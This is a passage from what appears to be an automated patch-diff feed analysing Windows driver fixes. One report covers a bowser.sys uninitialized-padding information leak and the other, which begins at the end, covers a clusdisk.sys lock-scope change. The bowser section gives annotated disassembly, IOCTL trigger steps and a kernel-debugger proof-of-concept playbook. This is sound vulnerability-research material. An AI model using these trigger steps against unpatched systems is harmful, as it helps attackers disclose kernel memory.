&lt;span class="mh"&gt;0x1c00177c9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177cd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0x8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf+0x20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177d1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177d4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf+0x38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Padding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;offsets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2C&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x2F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3C&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x3F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remains&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uninitialized&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched Equivalent (&lt;code&gt;BowserAllocateName&lt;/code&gt; @ &lt;code&gt;0x1c0017738&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c00177c3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177c6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177c9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c00177d5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;go&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177d5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NameLength&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177d9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177df&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177e2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0002200&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177e7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x400006&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialization&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1c00177e2&lt;/code&gt; targets &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1c0002200&lt;/code&gt;. The same insertion appears in &lt;code&gt;AsyncCreateTransportName&lt;/code&gt; (call at &lt;code&gt;0x1c000f569&lt;/code&gt;) and &lt;code&gt;AddBowserName&lt;/code&gt; (call at &lt;code&gt;0x1c00126e5&lt;/code&gt;). Of the two uninitialized gaps, only the &lt;code&gt;0x2C-0x2F&lt;/code&gt; &lt;code&gt;UNICODE_STRING&lt;/code&gt; padding is demonstrably copied to user mode by the enumeration worker.&lt;/p&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;To trigger the vulnerability and leak memory, an attacker must:
1. &lt;strong&gt;Obtain a Handle:&lt;/strong&gt; Open a handle to &lt;code&gt;\Device\LanmanDatagramReceiver&lt;/code&gt;. The &lt;code&gt;AddBowserName&lt;/code&gt; dispatch case is additionally gated by &lt;code&gt;BowserSecurityCheck&lt;/code&gt; (at &lt;code&gt;0x1c001123e&lt;/code&gt;) unless the caller is a system thread; the &lt;code&gt;EnumNames&lt;/code&gt; case is not gated by &lt;code&gt;BowserSecurityCheck&lt;/code&gt; in its own dispatch block.
2. &lt;strong&gt;Allocate Uninitialized Structure:&lt;/strong&gt; Send IoControlCode &lt;code&gt;0x13000C&lt;/code&gt;, which the dispatcher routes to the &lt;code&gt;AddBowserName&lt;/code&gt; case. This allocates the &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure without zeroing it, so the &lt;code&gt;0x2C-0x2F&lt;/code&gt; gap holds whatever previously occupied that paged-pool offset.
3. &lt;strong&gt;Exfiltrate Data:&lt;/strong&gt; Send IoControlCode &lt;code&gt;0x130017&lt;/code&gt;, which the dispatcher routes to the &lt;code&gt;EnumNames&lt;/code&gt; case, providing a user-mode output buffer.
4. &lt;strong&gt;Confirmation:&lt;/strong&gt; Parse the returned records in user mode. In the unpatched build the 4 bytes at record offset &lt;code&gt;+4&lt;/code&gt; (copied from &lt;code&gt;BROWSER_NAME&lt;/code&gt; offset &lt;code&gt;0x2C-0x2F&lt;/code&gt;) contain residual paged-pool data; in the patched build they read as zero.&lt;/p&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel paged-pool information disclosure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volume of Leak:&lt;/strong&gt; 4 bytes per enumerated name — the &lt;code&gt;UNICODE_STRING&lt;/code&gt; alignment padding at offset &lt;code&gt;0x2C-0x2F&lt;/code&gt;, copied into each enumeration output record by the 16-byte &lt;code&gt;movups&lt;/code&gt;/&lt;code&gt;movdqu&lt;/code&gt; of the name string at &lt;code&gt;0x1c0017cb3&lt;/code&gt;-&lt;code&gt;0x1c0017cb7&lt;/code&gt;. The disclosure size is fixed and independent of &lt;code&gt;NameLength&lt;/code&gt;. The inline name buffer at &lt;code&gt;0x40&lt;/code&gt; is fully written by &lt;code&gt;RtlCopyUnicodeString&lt;/code&gt;, and the &lt;code&gt;Buffer&lt;/code&gt; pointer field at &lt;code&gt;0x30&lt;/code&gt; is overwritten in the output record with a caller-relative offset before it is returned, so it is not disclosed. The &lt;code&gt;0x3C-0x3F&lt;/code&gt; gap is uninitialized in the allocation but is not read by the enumeration path and is not shown to reach user mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content:&lt;/strong&gt; The disclosed bytes are whatever previously occupied that offset in the reused paged-pool block. They are a fixed 4-byte window at a structure-padding offset, not a specific pointer or object field; no reliable pointer disclosure is demonstrated from this position.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;If you are attached to the unpatched target with a Kernel Debugger (KD), use the following steps to observe the vulnerability in real time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
- &lt;code&gt;bp bowser!BowserAllocateName&lt;/code&gt; (or &lt;code&gt;bp 0x1c0017718&lt;/code&gt;) — Triggered when the vulnerable allocation occurs.
- &lt;code&gt;bp bowser!BowserCommonDeviceIoControlFile&lt;/code&gt; (or &lt;code&gt;bp 0x1c0010b60&lt;/code&gt;) — Triggered on IOCTL entry. 
- &lt;code&gt;bp bowser!EnumNames&lt;/code&gt; (or &lt;code&gt;bp 0x1c0019e50&lt;/code&gt;) — Triggered when leaking data back to user mode.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to Inspect at Breakpoints:&lt;/strong&gt;
- &lt;strong&gt;At &lt;code&gt;BowserAllocateName&lt;/code&gt; (&lt;code&gt;0x1c0017718&lt;/code&gt;):&lt;/strong&gt; 
  - Inspect &lt;code&gt;rsi&lt;/code&gt; (pointer to &lt;code&gt;UNICODE_STRING&lt;/code&gt;).
  - &lt;code&gt;dt _UNICODE_STRING @rsi&lt;/code&gt; to see the &lt;code&gt;Length&lt;/code&gt; (matches the &lt;code&gt;NameLength&lt;/code&gt; determining the allocation size).
- &lt;strong&gt;At &lt;code&gt;0x1c00177a3&lt;/code&gt; (Post-Allocation):&lt;/strong&gt;
  - &lt;code&gt;r @rbx&lt;/code&gt; holds the newly allocated buffer address.
  - Dump the memory: &lt;code&gt;db @rbx L0x42&lt;/code&gt;. You will see pre-existing pool data in the uninitialized gap at &lt;code&gt;@rbx+0x2C&lt;/code&gt; (and at &lt;code&gt;@rbx+0x3C&lt;/code&gt;, which is uninitialized but not read by the enumeration path).
- &lt;strong&gt;At &lt;code&gt;BowserCommonDeviceIoControlFile&lt;/code&gt;:&lt;/strong&gt;
  - Check the IRP stack location to verify the IOCTL code. 
  - &lt;code&gt;dx @$curframe-&amp;gt;Tail.Overlay.CurrentStackLocation&lt;/code&gt; 
  - The dispatcher computes &lt;code&gt;IoControlCode - 0x130007&lt;/code&gt; at &lt;code&gt;0x1c0010f86&lt;/code&gt; and jumps at &lt;code&gt;0x1c0010fa9&lt;/code&gt;; &lt;code&gt;IoControlCode 0x13000C&lt;/code&gt; reaches the &lt;code&gt;AddBowserName&lt;/code&gt; case and &lt;code&gt;0x130017&lt;/code&gt; reaches the &lt;code&gt;EnumNames&lt;/code&gt; case.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Instructions / Offsets:&lt;/strong&gt;
- &lt;code&gt;0x1c0017797&lt;/code&gt;: The &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call. 
- &lt;code&gt;0x1c00177b5&lt;/code&gt;: The beginning of field initialization. The absence of a &lt;code&gt;memset&lt;/code&gt; call between &lt;code&gt;0x1c00177a9&lt;/code&gt; and &lt;code&gt;0x1c00177b5&lt;/code&gt; is the core vulnerability.
- &lt;code&gt;0x1c0011253&lt;/code&gt;: The call into &lt;code&gt;AddBowserName&lt;/code&gt; from the IOCTL dispatcher (most direct user-mode path).
- &lt;code&gt;0x1c00111bf&lt;/code&gt;: The call into &lt;code&gt;EnumNames&lt;/code&gt; (the sink that copies the data to user-mode).
- &lt;code&gt;0x1c0017cb3&lt;/code&gt;-&lt;code&gt;0x1c0017cb7&lt;/code&gt;: In &lt;code&gt;EnumerateNamesTransportNameWorker&lt;/code&gt;, the 16-byte &lt;code&gt;movups&lt;/code&gt;/&lt;code&gt;movdqu&lt;/code&gt; copy of the name &lt;code&gt;UNICODE_STRING&lt;/code&gt; (offsets &lt;code&gt;0x28-0x37&lt;/code&gt;) into the output record, carrying the &lt;code&gt;0x2C-0x2F&lt;/code&gt; gap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;
1. From user mode, open &lt;code&gt;\\.\LanmanDatagramReceiver&lt;/code&gt;.
2. Send IoControlCode &lt;code&gt;0x13000C&lt;/code&gt; (&lt;code&gt;AddBowserName&lt;/code&gt; case) via &lt;code&gt;DeviceIoControl&lt;/code&gt; with a payload containing a domain name and transport string.
3. Send IoControlCode &lt;code&gt;0x130017&lt;/code&gt; (&lt;code&gt;EnumNames&lt;/code&gt; case) via &lt;code&gt;DeviceIoControl&lt;/code&gt; to read the memory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;
When &lt;code&gt;EnumNames&lt;/code&gt; executes, inspect the user-mode output buffer. In the unpatched build the 4 bytes at each record's &lt;code&gt;+4&lt;/code&gt; offset (copied from &lt;code&gt;BROWSER_NAME&lt;/code&gt; offset &lt;code&gt;0x2C-0x2F&lt;/code&gt;) contain residual paged-pool data; in the patched build the same 4 bytes read as zero because of the added &lt;code&gt;memset&lt;/code&gt;. &lt;/p&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BowserAllocateName&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9898): Core allocation routine for browser names. &lt;strong&gt;Security Relevant Change.&lt;/strong&gt; Added &lt;code&gt;memset&lt;/code&gt; call to zero the allocated &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AsyncCreateTransportName&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9903): Routine for creating transport names. &lt;strong&gt;Security Relevant Change.&lt;/strong&gt; Added &lt;code&gt;memset&lt;/code&gt; call to zero the allocated &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AddBowserName&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9921): IOCTL dispatch handler for adding browser names. &lt;strong&gt;Security Relevant Change.&lt;/strong&gt; Added &lt;code&gt;memset&lt;/code&gt; call to zero the allocated &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure.
&lt;em&gt;(Note: All three functions received identical structural fixes; the &lt;code&gt;memset&lt;/code&gt; was inserted immediately following the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; validation block.)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the fix itself. The &lt;code&gt;memset&lt;/code&gt; insertion is present in all three functions in both the disassembly and the decompilation, and the enumeration worker demonstrably copies the &lt;code&gt;0x2C-0x2F&lt;/code&gt; gap to the caller's output buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IOCTL Codes:&lt;/strong&gt; The dispatcher in &lt;code&gt;BowserCommonDeviceIoControlFile&lt;/code&gt; computes &lt;code&gt;IoControlCode - 0x130007&lt;/code&gt; at &lt;code&gt;0x1c0010f86&lt;/code&gt; and jumps through a compiler-generated switch table at &lt;code&gt;0x1c0010fa9&lt;/code&gt;. The &lt;code&gt;AddBowserName&lt;/code&gt; case corresponds to IoControlCode &lt;code&gt;0x13000C&lt;/code&gt; (call at &lt;code&gt;0x1c0011253&lt;/code&gt;) and the &lt;code&gt;EnumNames&lt;/code&gt; case to &lt;code&gt;0x130017&lt;/code&gt; (call at &lt;code&gt;0x1c00111bf&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope of Disclosure:&lt;/strong&gt; The demonstrable leak is the fixed 4-byte &lt;code&gt;UNICODE_STRING&lt;/code&gt; padding at &lt;code&gt;0x2C-0x2F&lt;/code&gt;, disclosed per enumerated name. The &lt;code&gt;0x3C-0x3F&lt;/code&gt; gap is uninitialized in the allocation but is not read by the enumeration path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access Constraints:&lt;/strong&gt; The &lt;code&gt;AddBowserName&lt;/code&gt; dispatch case is gated by &lt;code&gt;BowserSecurityCheck&lt;/code&gt; at &lt;code&gt;0x1c001123e&lt;/code&gt; (bypassed for system threads); the &lt;code&gt;EnumNames&lt;/code&gt; case is not gated by &lt;code&gt;BowserSecurityCheck&lt;/code&gt; in its own block. Device-object ACLs on &lt;code&gt;\Device\LanmanDatagramReceiver&lt;/code&gt; further constrain who can open a handle.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>clusdisk.sys — Exclusive lock held across a subsystem callback in Pool::PendDefenseIrp (CWE-662) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/clusdisk_c039dcbb-clusdisk-report-20260625-213045.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/clusdisk_c039dcbb-clusdisk-report-20260625-213045.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched Binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;clusdisk_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;clusdisk_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall Similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.7793&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;220&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;153&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch narrows the critical section in &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; so that the &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt; callback no longer runs while the exclusive ERESOURCE at &lt;code&gt;this+0x40&lt;/code&gt; is held: the unpatched build acquires that lock before the callback, the patched build runs the callback first and only acquires the lock afterward. The remaining changed functions modernize pool allocation from &lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNx)&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt; (zero-initialized) and restructure error-path cleanup in the PR-key reading functions and &lt;code&gt;Pool::Arbitrate&lt;/code&gt;. Those latter changes are defensive refactors; the binaries do not show an exploitable use-after-free, double-free, or information leak in them.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Pool::PendDefenseIrp (MEDIUM)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Improper synchronization — critical section spans an external callback (CWE-662)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; (unpatched: &lt;code&gt;0x1c000ab5c&lt;/code&gt;; patched: &lt;code&gt;0x14000caf8&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
